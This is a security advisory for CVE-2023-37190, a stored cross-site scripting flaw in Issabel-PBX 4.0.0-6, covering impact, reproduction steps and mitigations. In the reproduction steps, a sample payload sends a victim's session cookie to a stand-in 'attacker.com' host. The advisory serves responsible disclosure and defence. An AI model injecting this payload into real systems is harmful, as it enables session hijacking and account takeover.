CVE-2023-37190 — Issabel-PBX 4.0.0-6: Stored Cross-Site Scripting (XSS)

📋 Overview

📝 Description

A Stored Cross-Site Scripting (XSS) vulnerability exists in Issabel-PBX version 4.0.0-6. The application fails to properly sanitize and encode user-supplied input before storing it in the database and subsequently rendering it in the web interface.

The vulnerability is present in the Virtual Fax module, specifically in the "New Virtual Fax" creation form. Two input parameters — Virtual Fax Name and Caller ID Name — do not undergo adequate input validation or output encoding. This allows a low-privileged authenticated attacker to inject and permanently store a malicious JavaScript payload within the application.

Once stored, the malicious script is automatically executed in the browser of any user (including administrators) who visits the affected page, without any additional interaction required from the attacker.

⚠️ Impact

An attacker who successfully exploits this vulnerability can:

• Steal session cookies and hijack authenticated user sessions, including administrator accounts.
• Perform actions on behalf of victims, such as changing configurations, adding users, or modifying system settings.
• Redirect users to attacker-controlled phishing or malware-distribution pages.
• Deface the application interface, impacting user experience and trust.
• Deliver malware or browser exploits to all users accessing the affected page.
• Perform keylogging or capture sensitive information entered on the page.

Because the payload is stored (persistent), it affects every user who visits the vulnerable page until it is removed — making this more severe than a reflected XSS.

🔢 CVSS v3.1 Score

🔍 Vulnerability Details

• Vulnerability Type: Stored Cross-Site Scripting (CWE-79)
• Affected Component: Virtual Fax module → New Virtual Fax form
• Vulnerable Parameters:
  • Virtual Fax Name
  • Caller ID Name
• Authentication Required: Yes (low-privilege authenticated user)
• Root Cause: Missing input sanitization and output encoding on the affected parameters before storing in the database and rendering in the web UI.

🛠️ Steps to Reproduce

Prerequisites

• A running instance of Issabel-PBX version 4.0.0-6.
• Valid credentials for an account with access to the Fax module (standard user or admin).

Reproduction Steps

Step 1: Log in to the Issabel-PBX web application using valid credentials.

Step 2: Navigate to Fax → Virtual Fax → New Virtual Fax.

Inject the following XSS payload into the Virtual Fax Name and/or Caller ID Name fields:

<script>alert('XSS-CVE-2023-37190')</script>

For a more impactful proof-of-concept demonstrating session cookie theft (note: in real attacks, HTTPS is used to avoid exposing stolen cookies in transit):

<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

The filled-in form with the injected payload should look similar to the screenshot below:

Step 3: Click the Save button to submit the form. The payload is now persistently stored in the application database.

Step 4: Navigate to the Virtual Fax listing page (or have another user — such as an administrator — visit the page). The stored script will execute automatically in the visitor's browser, as shown below:

🩹 Mitigation & Remediation

Issabel-PBX users and administrators are strongly advised to apply the following measures:

1. Input Validation: Enforce strict server-side validation on all user-supplied inputs. Reject or sanitize inputs that contain HTML special characters (<, >, ", ', &).
2. Output Encoding: Apply context-aware output encoding (HTML entity encoding) when rendering user-supplied data in the web interface to prevent script execution.
3. Content Security Policy (CSP): Implement a strict Content-Security-Policy HTTP header to limit the sources from which scripts can be executed, reducing the impact of XSS vulnerabilities.
4. Upgrade / Patch: Monitor the official Issabel repository and apply any security patches released by the vendor.
5. Least Privilege: Restrict access to sensitive modules such as Virtual Fax to only those users who require it, limiting the attack surface.

📚 References

• NVD - CVE-2023-37190
• MITRE CVE Entry
• Issabel Official Website
• IssabelFoundation/issabelPBX on GitHub
• CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
• OWASP: Cross-Site Scripting (XSS)

👤 Author

Sahil Ojha
Security Researcher
GitHub: @sahiloj

Disclaimer: This repository is intended for educational and responsible disclosure purposes only. The information provided here should not be used to attack systems without explicit written permission from the system owner. The author is not responsible for any misuse of this information.